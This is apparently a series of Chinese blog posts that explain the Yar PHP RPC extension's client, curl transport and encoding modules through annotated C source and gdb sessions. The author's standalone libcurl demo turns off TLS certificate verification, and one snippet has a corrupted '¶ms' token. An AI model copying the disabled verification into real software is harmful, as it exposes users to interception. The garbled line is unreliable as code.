// 解析响应的数据
int ret = php_yar_curl_multi_parse_response(multi, f);
if (ret == -1) {
goto bailout;
} else if (ret == 0) {
goto onerror;
}
rest_count = running_count;
}
} while (running_count);
} else {
// 第一次尝试让 libcurl 处理数据后,
// 如果运行中的数量为 0 ,说明已经全部处理完了,
// 直接进行解析
int ret = php_yar_curl_multi_parse_response(multi, f);
if (ret == -1) {
goto bailout;
} else if (ret == 0) {
goto onerror;
}
}
return 1;
onerror:
return 0;
bailout:
self->close(self);
zend_bailout();
return 0;
}
在 php_yar_curl_multi_parse_response 函数上打断点,然后继续运行程序。
(gdb) b php_yar_curl_multi_parse_response
Breakpoint 6 at 0x7ffff56eeadb: file /home/vagrant/code/her-cat/yar/transports/curl.c, line 622.
(gdb) c
Continuing.
Breakpoint 6, php_yar_curl_multi_parse_response (multi=0x20b666f03b932500, f=0x16fb)
at /home/vagrant/code/her-cat/yar/transports/curl.c:622
622 static int php_yar_curl_multi_parse_response(yar_curl_multi_data_t *multi, yar_concurrent_client_callback *f) /* {{{ */ {
(gdb)
php_yar_curl_multi_parse_response 函数的主要逻辑:
// source:transports/curl.c
static int php_yar_curl_multi_parse_response(yar_curl_multi_data_t *multi, yar_concurrent_client_callback *f) {
int msg_in_sequence;
CURLMsg *msg;
do {
// 从 curl 批处理实例中读取一条消息,并返回剩余消息数量(msg_in_sequence)
msg = curl_multi_info_read(multi->cm, &msg_in_sequence);
if (msg && msg->msg == CURLMSG_DONE) {
// 标记是否找到了对应的同步传输器
unsigned found = 0;
yar_transport_interface_t *handle = multi->chs, *q = NULL;
// 遍历单链表
while (handle) {
// curl 实例的指针地址相等,说明找到了
if (msg->easy_handle == ((yar_curl_data_t*)handle->data)->cp) {
// 从单链表中移除
if (q) {
((yar_curl_data_t *)q->data)->next = ((yar_curl_data_t*)handle->data)->next;
} else {
multi->chs = ((yar_curl_data_t*)handle->data)->next;
}
found = 1;
break;
}
q = handle;
handle = ((yar_curl_data_t*)handle->data)->next;
}
if (found) {
long http_code = 200;
yar_response_t *response;
yar_curl_data_t *data = (yar_curl_data_t *)handle->data;
// 创建响应实例
response = php_yar_response_instance();
if (msg->data.result == CURLE_OK) {
curl_multi_remove_handle(multi->cm, data->cp);
// 获取 HTTP 状态码
if(curl_easy_getinfo(data->cp, CURLINFO_RESPONSE_CODE, &http_code) == CURLE_OK && http_code != 200) {
// 非 200 说明出现异常
// 返回异常响应
continue;
} else {
// 状态码为 200
if (data->buf.s) {
// ...
// 从响应数据中解析出 Yar 协议的头部信息
if (!(header = php_yar_protocol_parse(payload))) {
php_yar_error(response, YAR_ERR_PROTOCOL, "malformed response header '%.32s'", payload);
} else {
// 跳过 Yar 协议的头部信息后的内容,就是真正的响应结果
payload += sizeof(yar_header_t);
payload_len -= sizeof(yar_header_t);
// 通过 payload 中的编码方式对 payload 进行解码
if (!(retval = php_yar_packager_unpack(payload, payload_len, &msg, &ret))) {
php_yar_response_set_error(response, YAR_ERR_PACKAGER, msg, strlen(msg));
} else {
// 将解码后的数据存储到 response 中
php_yar_response_map_retval(response, retval);
DEBUG_C(ZEND_ULONG_FMT": server response content packaged by '%.*s', len '%ld', content '%.32s'", response->id, 7, payload, header->body_len, payload + 8);
zval_ptr_dtor(retval);
}
if (msg) {
efree(msg);
}
}
} else {
// 响应内容为空,设置错误信息
php_yar_response_set_error(response, YAR_ERR_EMPTY_RESPONSE, ZEND_STRL("empty response"));
}
// 调用 php_yar_concurrent_client_callback 函数
if (!f(data->calldata, response->status, response)) {
handle->close(handle);
php_yar_response_destroy(response);
return -1;
}
if (EG(exception)) {
handle->close(handle);
php_yar_response_destroy(response);
return 0;
}
}
} else {
// 执行请求失败,返回失败原因
char *err = (char *)curl_easy_strerror(msg->data.result);
php_yar_response_set_error(response, YAR_ERR_TRANSPORT, err, strlen(err));
if (!f(data->calldata, YAR_ERR_TRANSPORT, response)) {
handle->close(handle);
php_yar_response_destroy(response);
return -1;
}
if (EG(exception)) {
handle->close(handle);
php_yar_response_destroy(response);
return 0;
}
}
handle->close(handle);
php_yar_response_destroy(response);
} else {
php_error_docref(NULL, E_WARNING, "unexpected transport info missed");
}
}
} while (msg_in_sequence);
return 1;
}
该函数的作用:通过响应状态判断本次远程调用的结果,执行相应的回调函数。
主要逻辑:
// source:yar_client.c
int php_yar_concurrent_client_callback(yar_call_data_t *calldata, int status, yar_response_t *response) /* {{{ */ {
zval code, retval, retval_ptr;
zval callinfo, *callback, func_params[3];
zend_bool bailout = 0;
unsigned params_count, i;
if (calldata) {
// 通过响应状态获取要执行的 PHP 回调函数
if (status == YAR_ERR_OKEY) {
if (!Z_ISUNDEF(calldata->callback)) {
callback = &calldata->callback;
} else {
callback = zend_read_static_property(yar_concurrent_client_ce, ZEND_STRL("_callback"), 0);
}
params_count = 2;
} else {
if (!Z_ISUNDEF(calldata->ecallback)) {
callback = &calldata->ecallback;
} else {
callback = zend_read_static_property(yar_concurrent_client_ce, ZEND_STRL("_error_callback"), 0);
}
params_count = 3;
}
// 没获取到回调函数就提示错误信息
if (Z_ISNULL_P(callback)) {
if (status != YAR_ERR_OKEY) {
if (!Z_ISUNDEF(response->err)) {
php_yar_client_handle_error(0, response);
} else {
php_error_docref(NULL, E_WARNING, "[%d]:unknown Error", status);
}
} else if (!Z_ISUNDEF(response->retval)) {
zend_print_zval(&response->retval, 1);
}
return 1;
}
if (status == YAR_ERR_OKEY) {
// 响应状态是成功但是返回值为空,提示错误信息。
if (Z_ISUNDEF(response->retval)) {
php_yar_client_trigger_error(0, YAR_ERR_REQUEST, "%s", "server responsed empty response");
return 1;
}
// 复制返回值
ZVAL_COPY(&retval, &response->retval);
} else {
// 复制状态及错误信息
ZVAL_LONG(&code, status);
ZVAL_COPY(&retval, &response->err);
}
// 初始化调用信息
array_init(&callinfo);
add_assoc_long_ex(&callinfo, "sequence", sizeof("sequence") - 1, calldata->sequence);
add_assoc_str_ex(&callinfo, "uri", sizeof("uri") - 1, zend_string_copy(calldata->uri));
add_assoc_str_ex(&callinfo, "method", sizeof("method") - 1, zend_string_copy(calldata->method));
} else {
// 调用数据为空则获取并行客户端的回调函数
callback = zend_read_static_property(yar_concurrent_client_ce, ZEND_STRL("_callback"), 0);
if (Z_ISNULL_P(callback)) {
return 1;
}
params_count = 2;
}
if (calldata && (status != YAR_ERR_OKEY)) {
// 调用失败
ZVAL_COPY_VALUE(&func_params[0], &code);
ZVAL_COPY_VALUE(&func_params[1], &retval);
ZVAL_COPY_VALUE(&func_params[2], &callinfo);
} else if (calldata) {
// 调用成功
ZVAL_COPY_VALUE(&func_params[0], &retval);
ZVAL_COPY_VALUE(&func_params[1], &callinfo);
} else {
// 调用数据为空
ZVAL_NULL(&func_params[0]);
ZVAL_NULL(&func_params[1]);
}
zend_try {
// 执行回调函数
if (call_user_function(EG(function_table), NULL, callback, &retval_ptr, params_count, func_params) != SUCCESS) {
for (i = 0; i < params_count; i++) {
zval_ptr_dtor(&func_params[i]);
}
if (calldata) {
php_error_docref(NULL, E_WARNING, "call to callback failed for request: '%s'", ZSTR_VAL(calldata->method));
} else {
php_error_docref(NULL, E_WARNING, "call to initial callback failed");
}
return 1;
}
} zend_catch {
bailout = 1;
} zend_end_try();
// 释放返回值及参数
if (!Z_ISUNDEF(retval_ptr)) {
zval_ptr_dtor(&retval_ptr);
}
for (i = 0; i < params_count; i++) {
zval_ptr_dtor(&func_params[i]);
}
return bailout? 0 : 1;
}
打印 retval 可以看到服务端的返回值:success。
(gdb) p *retval.value.str.val@7
$28 = "success"
本文介绍了实现并行调用相关的数据结构,并通过 GDB 调试代码的方式展示了并行调用运行的过程。
]]>今天这篇文章,主要介绍 Yar 客户端是如何实现远程调用的,进一步了解各个模块在远程调用的过程中都做了些什么。
Yar 客户端的远程调用分为同步调用和并行调用,同步调用是指调用多个远程方法时,必须按照调用顺序一个个地执行,上一个调用没有执行完时,后面的调用必须等待前面的执行完毕,这期间啥也不能干,效率比较低。
这时候就有了并行调用,从名字就可以看出来,并行调用支持同时调用多个远程方法。它会先将所有的调用请发送出去,让服务端开始处理这些请求,然后客户开始端监听每个请求的响应结果,当这些请求中有任何一个请求有响应结果时,执行该请求的回调函数处理相应的业务逻辑。
这篇文章主要介绍同步调用的实现,所以在本文中提到 “远程调用” 都是指同步调用。
我们先来看看开篇中客户端同步调用的例子。
// 实例化客户端
$client = new Yar_Client("http://127.0.0.1:3000/server.php");
// 设置超时时间
$client->setOpt(YAR_OPT_CONNECT_TIMEOUT, 1000);
// 调用 login 方法
$result = $client->login("her-cat", "123456");
var_dump($result);
通过上面的例子可以知道,客户端中有三个主要方法:
当然客户端类还有一些的方法以及属性,可以在定义客户端类的地方找到:
// source:yar_client.c
// 客户端方法列表
zend_function_entry yar_client_methods[] = {
PHP_ME(yar_client, __construct, arginfo_client___construct, ZEND_ACC_PUBLIC|ZEND_ACC_CTOR|ZEND_ACC_FINAL)
PHP_ME(yar_client, call, arginfo_client___call, ZEND_ACC_PUBLIC)
PHP_ME(yar_client, __call, arginfo_client___call, ZEND_ACC_PUBLIC)
PHP_ME(yar_client, getOpt, arginfo_client_getopt, ZEND_ACC_PUBLIC)
PHP_ME(yar_client, setOpt, arginfo_client_setopt, ZEND_ACC_PUBLIC)
PHP_FE_END
};
YAR_STARTUP_FUNCTION(client) /* {{{ */ {
zend_class_entry ce;
INIT_CLASS_ENTRY(ce, "Yar_Client", yar_client_methods);
yar_client_ce = zend_register_internal_class(&ce);
// 声明客户端的属性
zend_declare_property_long(yar_client_ce, ZEND_STRL("_protocol"), YAR_CLIENT_PROTOCOL_HTTP, ZEND_ACC_PROTECTED);
zend_declare_property_null(yar_client_ce, ZEND_STRL("_uri"), ZEND_ACC_PROTECTED);
zend_declare_property_null(yar_client_ce, ZEND_STRL("_options"), ZEND_ACC_PROTECTED);
zend_declare_property_null(yar_client_ce, ZEND_STRL("_running"), ZEND_ACC_PROTECTED);
// 注册协议常量
REGISTER_LONG_CONSTANT("YAR_CLIENT_PROTOCOL_HTTP", YAR_CLIENT_PROTOCOL_HTTP, CONST_PERSISTENT | CONST_CS);
REGISTER_LONG_CONSTANT("YAR_CLIENT_PROTOCOL_TCP", YAR_CLIENT_PROTOCOL_TCP, CONST_PERSISTENT | CONST_CS);
REGISTER_LONG_CONSTANT("YAR_CLIENT_PROTOCOL_UNIX", YAR_CLIENT_PROTOCOL_UNIX, CONST_PERSISTENT | CONST_CS);
return SUCCESS;
}
下面我们重点来看看客户端远程调用的实现,客户端中的其它方法比较简单,这里就不赘述了。
熟悉 PHP 的应该都知道,当我们调用对象中未定义或不可访问的方法时,PHP 会尝试调用魔术方法 __call,当 __call 方法也未定义时,将会抛出调用未定义方法的异常。
class A
{
public function __call($name, $arguments)
{
echo "调用 A 的 '{$name}' 方法,参数是:" . implode(',', $arguments) . "\n";
}
}
$a = new A();
$a->login("her-cat", "123456");
// 输出:调用 A 的 login 方法,参数是:her-cat,123456
Yar 就是通过 __call 实现了远程调用。
虽然在代码中看起来调用的是客户端的方法,但实际上是通过 __call 魔术方法,将调用的请求转发到服务端上,让服务端执行对应的方法,最后将执行的结果返回,完成了整个远程调用。
下面是客户端执行同步调用时的调用栈。

在上面的客户端介绍中的客户端方法列表中,可以看到 Yar 实现了 __call 和 call 方法。
// source:yar_client.c
/* {{{ proto Yar_Client::call($method, $parameters = NULL) */
PHP_METHOD(yar_client, call) {
PHP_MN(yar_client___call)(INTERNAL_FUNCTION_PARAM_PASSTHRU);
}
/* }}} */
call 函数实际上是 __call 函数的一层包装,可以理解为别名方法。
// source:yar_client.c
PHP_METHOD(yar_client, __call) {
zval *params, *protocol, rv;
zval *this_ptr = getThis();
// 解析参数,被调用的方法名称和参数数组
if (zend_parse_parameters(ZEND_NUM_ARGS(), "Sa", &method, ¶ms) == FAILURE) {
return;
}
// 读取使用的协议
protocol = zend_read_property(yar_client_ce, this_ptr, ZEND_STRL("_protocol"), 0, &rv);
// 根据协议调用对应的方法
switch (Z_LVAL_P(protocol)) {
case YAR_CLIENT_PROTOCOL_TCP:
case YAR_CLIENT_PROTOCOL_UNIX:
case YAR_CLIENT_PROTOCOL_HTTP:
if ((php_yar_client_handle(Z_LVAL_P(protocol), getThis(), method, params, return_value))) {
return;
}
break;
default:
php_error_docref(NULL, E_WARNING, "unsupported protocol %ld", Z_LVAL_P(protocol));
break;
}
RETURN_FALSE;
}
__call 函数的内容比较简单,先解析参数,得到被调用的方法名称和参数数组,然后从客户端对象中读取协议,然后根据协议调用对应的函数,当遇到不支持的协议时,提示错误信息并返回 false。
php_yar_client_handle 函数包含了整个调用的过程,它就是客户端实现远程调用的核心所在。
// source:yar_client.c
static int php_yar_client_handle(int protocol, zval *client, zend_string *method, zval *params, zval *retval) {
char *msg;
zval *uri, *options;
zval rv;
const yar_transport_t *factory;
yar_transport_interface_t *transport;
yar_request_t *request;
yar_response_t *response;
int flags = 0;
zval *zobj = client;
// 读取服务端的地址
uri = zend_read_property(yar_client_ce, zobj, ZEND_STRL("_uri"), 0, &rv);
// 通过协议获取对应的传输方式
if (protocol == YAR_CLIENT_PROTOCOL_HTTP) {
factory = php_yar_transport_get(ZEND_STRL("curl"));
} else if (protocol == YAR_CLIENT_PROTOCOL_TCP || protocol == YAR_CLIENT_PROTOCOL_UNIX) {
factory = php_yar_transport_get(ZEND_STRL("sock"));
} else {
return 0;
}
// 初始化传输方式
transport = factory->init();
options = zend_read_property(yar_client_ce, zobj, ZEND_STRL("_options"), 1, &rv);
if (IS_ARRAY != Z_TYPE_P(options)) {
options = NULL;
}
// 根据被调用的方法名称、参数等信息组装请求数据
if (UNEXPECTED(!(request = php_yar_request_instance(method, params, options)))) {
transport->close(transport);
factory->destroy(transport);
return 0;
}
if (options) {
zval *flag = php_yar_client_get_opt(options, YAR_OPT_PERSISTENT);
if (flag && (Z_TYPE_P(flag) == IS_TRUE || (Z_TYPE_P(flag) == IS_LONG && Z_LVAL_P(flag)))) {
flags |= YAR_PROTOCOL_PERSISTENT;
}
}
msg = (char*)options;
// 打开/创建一个连接
if (UNEXPECTED(!transport->open(transport, Z_STR_P(uri), flags, &msg))) {
php_yar_client_trigger_error(1, YAR_ERR_TRANSPORT, msg);
php_yar_request_destroy(request);
ZEND_ASSERT(msg != (char*)options);
efree(msg);
transport->close(transport);
factory->destroy(transport);
return 0;
}
// 对请求数据进行编码、组装等操作,并将处理后的数据保存到连接中
if (UNEXPECTED(!transport->send(transport, request, &msg))) {
php_yar_client_trigger_error(1, YAR_ERR_TRANSPORT, msg);
php_yar_request_destroy(request);
efree(msg);
transport->close(transport);
factory->destroy(transport);
return 0;
}
// 执行请求
response = transport->exec(transport, request);
if (UNEXPECTED(response->status != YAR_ERR_OKEY)) {
// 调用失败则返回异常响应
php_yar_client_handle_error(1, response);
php_yar_request_destroy(request);
php_yar_response_destroy(response);
transport->close(transport);
factory->destroy(transport);
return 0;
} else {
if (response->out && ZSTR_LEN(response->out)) {
PHPWRITE(ZSTR_VAL(response->out), ZSTR_LEN(response->out));
}
// 调用成功则将响应值拷贝到返回值中。
ZVAL_COPY(retval, &response->retval);
php_yar_request_destroy(request);
php_yar_response_destroy(response);
transport->close(transport);
factory->destroy(transport);
return 1;
}
}
php_yar_client_handle 函数的主要逻辑都写上注释了,transport 调用的那些函数,就是上一篇文章中的那些 curl 函数,我们可以使用 gdb 打印 transport 的值进行验证。
(gdb) p *transport
$8 = {data = 0x7ffff5481000, open = 0x7ffff56ecd4b <php_yar_curl_open>, send = 0x7ffff56ee293 <php_yar_curl_send>,
exec = 0x7ffff56eddc0 <php_yar_curl_exec>, setopt = 0x7ffff56ee78f <php_yar_curl_setopt>,
calldata = 0x7ffff56ee761 <php_yar_curl_set_calldata>, close = 0x7ffff56edaa1 <php_yar_curl_close>}
下一篇文章将会介绍客户端并行调用的实现,并行调用也是 Yar 的亮点之一,其实现相对同步调用来说,会稍微复杂那么一丢丢。
]]>在前面几篇文章中,更多的是在研究 Yar 传输的内容,比如协议的格式是什么样的、如何对数据进行编码等等。
今天这篇文章,主要介绍 Yar 编码模块的结构体定义,以及 HTTP 传输方式的实现,更深入的了解 Yar 的协议数据是如何被发送出去的。
在 RPC 通信协议 中有提到过,Yar 支持 HTTP 和 TCP 两种数据传输方式,前者使用 curl,后者使用 socket。
我们可以将 yar_transport_t 结构体看作是同步传输器的工厂,用于创建和释放同步传输器的实例。
// source:yar_transport.h
// 同步传输器的工厂
typedef struct _yar_transport {
const char *name;
struct _yar_transport_interface * (*init)();
void (*destroy)(yar_transport_interface_t *self);
yar_transport_multi_t *multi;
} yar_transport_t;
结构体字段说明:
在 yar_transport_t 结构体中,只定义了 init 和 destroy 这两个函数指针,用于对同步传输器的创建和释放。而真正用于传输时使用的相关函数,则放在了 yar_transport_interface_t 结构体中。
// source:yar_transport.h
// 同步传输器
typedef struct _yar_transport_interface {
void *data;
int (*open)(struct _yar_transport_interface *self, zend_string *address, long options, char **msg);
int (*send)(struct _yar_transport_interface *self, struct _yar_request *request, char **msg);
struct _yar_response * (*exec)(struct _yar_transport_interface *self, struct _yar_request *request);
int (*setopt)(struct _yar_transport_interface *self, long type, void *value, void *addition);
int (*calldata)(struct _yar_transport_interface *self, yar_call_data_t *calldata);
void (*close)(struct _yar_transport_interface *self);
} yar_transport_interface_t;
结构体说明:
Yar 支持的传输方式都放在了 transports 目录下,因为 HTTP 是 Yar 默认的数据传输方式,并且服务端也只实现了 HTTP 这种方式,所以我们这里用 HTTP 进行举例。
用 c 语言实现 HTTP 请求的类库有很多,Yar 使用的是 curl,所以在 transports 目录下的文件命名是 curl.c。
根据前面传输模块的介绍,首先需要实现 yar_transport_t 结构体。
// source:transports/curl.c
const yar_transport_t yar_transport_curl = {
"curl",
php_yar_curl_init,
php_yar_curl_destroy,
&yar_transport_curl_multi
};
curl 是传输方式的名称,php_yar_curl_init 和 php_yar_curl_destroy 是 init 和 destroy 这两个函数指针的实现,yar_transport_curl_multi 用来实现并行调用。
先来看看 php_yar_curl_init 函数。
// source:transports/curl.c
yar_transport_interface_t *php_yar_curl_init() {
yar_curl_data_t *data;
yar_transport_interface_t *self;
// 分配 yar_transport_interface_t 结构体及数据的内存
self = ecalloc(1, sizeof(yar_transport_interface_t));
self->data = data = ecalloc(1, sizeof(yar_curl_data_t));
// 设置 Yar 的 HTTP 头部信息
/* snprintf(content_type, sizeof(content_type), "Content-Type: %s", YAR_G(content_type)); */
data->headers = curl_slist_append(data->headers, "User-Agent: PHP Yar RPC-" PHP_YAR_VERSION);
data->headers = curl_slist_append(data->headers, "Expect:");
// 设置各个函数指针对应的函数实现
self->open = php_yar_curl_open;
self->send = php_yar_curl_send;
self->exec = php_yar_curl_exec;
self->setopt = php_yar_curl_setopt;
self->calldata = php_yar_curl_set_calldata;
self->close = php_yar_curl_close;
// 分配响应数据及请求数据的内存,默认为 1M
smart_str_alloc((&data->buf), YAR_PACKAGER_BUFFER_SIZE /* 1M */, 0);
smart_str_alloc((&data->postfield), YAR_PACKAGER_BUFFER_SIZE /* 1M */, 0);
// 返回 yar_transport_interface_t 结构体的指针
return self;
}
由于没有资源需要在 destroy 的时候进行释放,所以 php_yar_curl_destroy 是一个空函数。
// source:transports/curl.c
void php_yar_curl_destroy(yar_transport_interface_t *self) {
}
接下来看看 curl 中 yar_transport_interface_t 相关的实现。
首先是 php_yar_curl_open 函数,以下是该函数的主要逻辑:
打开连接之后,调用 php_yar_curl_send 函数对请求数据进行编码、组装等操作。
// source:transports/curl.c
int php_yar_curl_send(yar_transport_interface_t* self, yar_request_t *request, char **msg) {
yar_header_t header = {0};
yar_curl_data_t *data = (yar_curl_data_t *)self->data;
zend_string *payload;
// 对请求数据进行编码
if (!(payload = php_yar_request_pack(request, msg))) {
return 0;
}
// 通过编码后的数据初始化 header 结构体
php_yar_protocol_render(&header, request->id, data->host->user, data->host->pass, ZSTR_LEN(payload), 0);
// 将 header 及 payload 按照顺序追加到请求数据的 buf 中
smart_str_appendl(&data->postfield, (char *)&header, sizeof(yar_header_t));
smart_str_appendl(&data->postfield, ZSTR_VAL(payload), ZSTR_LEN(payload));
zend_string_release(payload);
return 1;
}
数据准备就绪后,就可以调用 php_yar_curl_exec 函数执行请求,将数据发送出去并解析响应结果。
// source:transports/curl.c
yar_response_t *php_yar_curl_exec(yar_transport_interface_t* self, yar_request_t *request) {
// ...
// 设置请求数据及大小
curl_easy_setopt(data->cp, CURLOPT_POSTFIELDS, ZSTR_VAL(data->postfield.s));
curl_easy_setopt(data->cp, CURLOPT_POSTFIELDSIZE, ZSTR_LEN(data->postfield.s));
// 设置超时时间等选项
if (IS_ARRAY == Z_TYPE(request->options)) {
zval *pzval;
if ((pzval = zend_hash_index_find(Z_ARRVAL(request->options), YAR_OPT_TIMEOUT))) {
convert_to_long_ex(pzval);
self->setopt(self, YAR_OPT_TIMEOUT, (long *)&Z_LVAL_P(pzval), NULL);
}
if ((pzval = zend_hash_index_find(Z_ARRVAL(request->options), YAR_OPT_CONNECT_TIMEOUT))) {
convert_to_long_ex(pzval);
self->setopt(self, YAR_OPT_CONNECT_TIMEOUT, (long *)&Z_LVAL_P(pzval), NULL);
}
if ((pzval = zend_hash_index_find(Z_ARRVAL(request->options), YAR_OPT_PROXY))) {
convert_to_string_ex(pzval);
self->setopt(self, YAR_OPT_PROXY, (char *)&Z_STRVAL_P(pzval), NULL);
}
}
response = php_yar_response_instance();
// 执行请求
ret = curl_easy_perform(data->cp);
if (ret != CURLE_OK) {
// 请求失败则将失败信息保存到 response 中并返回
len = spprintf(&msg, 0, "curl exec failed '%s'", curl_easy_strerror(ret));
php_yar_response_set_error(response, YAR_ERR_TRANSPORT, msg, len);
efree(msg);
return response;
} else {
long http_code;
// 检查响应状态码是否等于 200
if(curl_easy_getinfo(data->cp, CURLINFO_RESPONSE_CODE, &http_code) == CURLE_OK
&& http_code != 200) {
len = spprintf(&msg, 0, "server responsed non-200 code '%ld'", http_code);
php_yar_response_set_error(response, YAR_ERR_TRANSPORT, msg, len);
efree(msg);
return response;
}
}
if (data->buf.s) {
// ...
// 从响应内容中解析出 Yar 协议的头部信息
if (!(header = php_yar_protocol_parse(payload))) {
php_yar_error(response, YAR_ERR_PROTOCOL, "malformed response header '%.32s'", payload);
return response;
}
// 跳过 Yar 协议的头部信息后的内容,就是真正的响应结果
payload += sizeof(yar_header_t);
payload_len -= sizeof(yar_header_t);
// 通过 payload 中的编码方式对 payload 进行解码
if (!(retval = php_yar_packager_unpack(payload, payload_len, &msg, &ret))) {
php_yar_response_set_error(response, YAR_ERR_PACKAGER, msg, strlen(msg));
efree(msg);
return response;
}
// 将解码后的数据存储到 response 中
php_yar_response_map_retval(response, retval);
zval_ptr_dtor(retval);
} else {
// 响应内容为空,设置错误信息
php_yar_response_set_error(response, YAR_ERR_EMPTY_RESPONSE, ZEND_STRL("empty response"));
}
return response;
}
得到响应结果后,调用 php_yar_curl_close 关闭连接。
// source:transports/curl.c
void php_yar_curl_close(yar_transport_interface_t* self) {
yar_curl_data_t *data = (yar_curl_data_t *)self->data;
if (!data) {
return;
}
if (data->cp) {
if (!data->persistent) {
// 没有开启连接持久化时,清理 curl 连接
curl_easy_cleanup(data->cp);
} else {
// 否则,设置连接为未使用状态
data->plink->in_use = 0;
}
}
// 释放 data 中的相关资源
if (data->host) {
php_url_free(data->host);
}
smart_str_free(&data->buf);
smart_str_free(&data->postfield);
curl_slist_free_all(data->headers);
efree(data);
efree(self);
return;
}
这次没有像上一篇文章那样,将传输模块的生命周期各个阶段都写出来,这是因为传输模块在 PHP 生命周期中的几个阶段做的事情跟编码模块差不多,所以就省略掉了。
通过本文可以看出来,Yar 中的 HTTP 传输方式,实际上是对 curl 的一层封装,我写了一个 curl 的小示例,供大家参考。
#include <stdio.h>
#include <curl/curl.h>
#include <curl/easy.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#define DEFAULT_BUF_SIZE 1024
typedef struct curl_data_s {
CURL *cp;
char *buf;
uint32_t len;
uint32_t alloc;
} curl_data_t;
size_t curl_buf_writer(char *ptr, size_t size, size_t nmemb, void *ctx) {
curl_data_t *data = (curl_data_t *) ctx;
size_t len = size * nmemb;
size_t remain = data->alloc - data->len;
if (len > remain) {
data->alloc += (len - remain) + DEFAULT_BUF_SIZE;
data->buf = realloc(data->buf, data->alloc);
printf("writer, realloc size: %lu\n", (len - remain) + DEFAULT_BUF_SIZE);
}
printf("write, len: %zu\n", len);
memcpy(data->buf + data->len, ptr, len);
data->len += len;
return len;
}
int main() {
curl_data_t data;
char *address = "https://her-cat.com";
CURL *cp = curl_easy_init();
data.cp = cp;
data.buf = malloc(DEFAULT_BUF_SIZE);
data.len = 0;
data.alloc = DEFAULT_BUF_SIZE;
curl_easy_setopt(cp, CURLOPT_POST, 0);
curl_easy_setopt(cp, CURLOPT_URL, address);
curl_easy_setopt(cp, CURLOPT_SSL_VERIFYHOST, 0);
curl_easy_setopt(cp, CURLOPT_SSL_VERIFYPEER, 0);
curl_easy_setopt(cp, CURLOPT_WRITEDATA, &data);
curl_easy_setopt(cp, CURLOPT_WRITEFUNCTION, curl_buf_writer);
CURLcode ret = curl_easy_perform(cp);
if (ret != CURLE_OK) {
printf("curl perform failed, reason: %s\n", curl_easy_strerror(ret));
return 0;
}
long http_code;
curl_easy_getinfo(cp, CURLINFO_RESPONSE_CODE, &http_code);
curl_easy_cleanup(cp);
curl_global_cleanup();
printf("http code: %ld\n", http_code);
printf("buf len: %u\n", data.len);
printf("buf alloc: %u\n", data.alloc);
printf("response: \n%s\n", data.buf);
return 0;
}
在 上一篇文章 中,我们知道了 Yar 通信协议的格式及作用,还提到了在 Yar 客户端发送请求前和收到响应后,需要先对数据进行编码与解码才能继续进一步操作。
今天我们来了解一下,Yar 中的消息编码模块是怎样实现的。
在介绍 Yar 编码模块之前,我们先来了解一下,什么是编码与解码?
编码(encode)和解码(decode)也有人叫作序列化(serialization)和反序列化(deserialization),其实都是一个意思。
为了统一描述,在后文中都称为编码和解码。
编码是指将数据结构或对象转换成可以存储或传输的数据格式(字节流)。
解码是编码的反向操作,将字节流转换为数据数据结构或对象。
举个例子,假如要将 Person 对象写入到文件中,然后再从文件中还原该对象,应该怎么处理?
class Person
{
public $name;
public $age;
}
$person = new Person();
$person->name = 'her-cat';
$person->age = 18;
PHP 提供了两个函数: serialize(编码)和 unserialize(解码)。
serialize 函数可以将除了 resource 类型以外的数据编码为字符串(字节流)。
unserialize 函数可以将编码后的字符串转换为 PHP 的值。
$encoded = file_get_contents('person.txt');
var_dump($encoded);
$decodedPerson = unserialize($encoded);
var_dump($decodedPerson);
var_dump($decodedPerson->name);
var_dump($decodedPerson->age);
string(57) "O:6:"Person":2:{s:4:"name";s:7:"her-cat";s:3:"age";i:18;}"
object(Person)#2 (2) {
["name"]=>
string(7) "her-cat"
["age"]=>
int(18)
}
string(7) "her-cat"
int(18)
目的就是为了在不同的编程语言或不同的载体之间交换数据。
上面将对象写入到文件中就是不同载体之间交换数据的例子,这里再举一个不同语言之间的例子。
就拿 PHP 和 JavaScript 来说,我们用 PHP 写了一个 HTTP 接口给 JavaScript 调用,然后 JavaScript 解析 PHP 响应的内容。
PHP 和 JavaScript 是两种不同的编程语言(废话),两者各种数据结构的实现是不一样的,在内存上的组织方式也不一样,所以它们不能直接使用内存中的数据进行数据交换。
就好比两个人在交流,一个人讲蒙古语,另一个人讲粤语,最后两人都不知道对方讲的啥玩意。
所以,我们需要一个中间人帮忙翻译,或者使用两个人都会的一种语言进行交流,比如普通话。
将 “普通话” 代入到上面的例子中,实际上就是引用一种通用的数据编码格式,让 PHP 与 JavaScript 能够进行“交流”。
假设我们使用 JSON,PHP 将数据发送到前端之前,先调用 json_encode 将数据转换成 JSON 字符串(这个过程就是编码), 前端页面收到 PHP 返回的 JSON 字符串后,将其解析成前端的 JavaScript 的数组/对象(这个过程就是解码)。
Yar 提供了三种编码方式:分别是 PHP、JSON、Msgpack。
PHP 是 PHP 内置的一种对数据结构/对象编码的方式,实际上就是使用 serialize 和 unserialize 这对函数,可以参考上面的例子。
JSON 是目前比较通用且流行的一种数据编码格式,由于其简单、易读的特点,所以被广泛地用于 API 接口、JSON-RPC、数据存储等地方。
但是,JSON 也不是一点儿缺点都没有的,JSON 为了保证其可读性,需要多使用一些内存来保存相关信息,所以在数据传输的过程中,占用的内存就会比 Msgpack 这类编码格式要大一些。
Msgpack 一种高效的二进制编码格式,有点儿类似于 JSON,但是比 JSON 占用内存更小、效率更高。
前两种方式在 Yar 中已经内置支持了(直接调用相关的 PHP 函数),Msgpack 则需要自己手动安装扩展,并在编译时指定。
Yar 定义了编码模块结构体:yar_packager_t。
// source:yar_packager.h
typedef struct _yar_packager {
const char *name;
int (*pack) (const struct _yar_packager *self, zval *pzval, smart_str *buf, char **msg);
zval * (*unpack) (const struct _yar_packager *self, char *content, size_t len, char **msg, zval *ret);
} yar_packager_t;
结构体中字段说明:
yar_packager_t 结构体有点类似于 OOP 中的抽象类,为不同的编码方式提供了统一的接口,从而实现了多态。
如果我们想要扩展一种编码方式,只需要设置编码方式名称并实现 pack 和 unpack 函数即可。
Yar 支持的编码方式都在 packagers 目录下,这里我们用 JSON 方式进行举例。
在 packagers/json.c 文件中定义了一个类型为 yar_packager_t 的常量:yar_packager_json。
const yar_packager_t yar_packager_json = {
"JSON",
php_yar_packager_json_pack,
php_yar_packager_json_unpack
};
首先是编码方式名称 JSON,然后是编码和解码对应的函数,这两个函数其实是对 json_encode 和 json_decode 函数的一层封装。
int php_yar_packager_json_pack(const yar_packager_t *self, zval *pzval, smart_str *buf, char **msg) {
php_json_encode(buf, pzval, 0);
return 1;
}
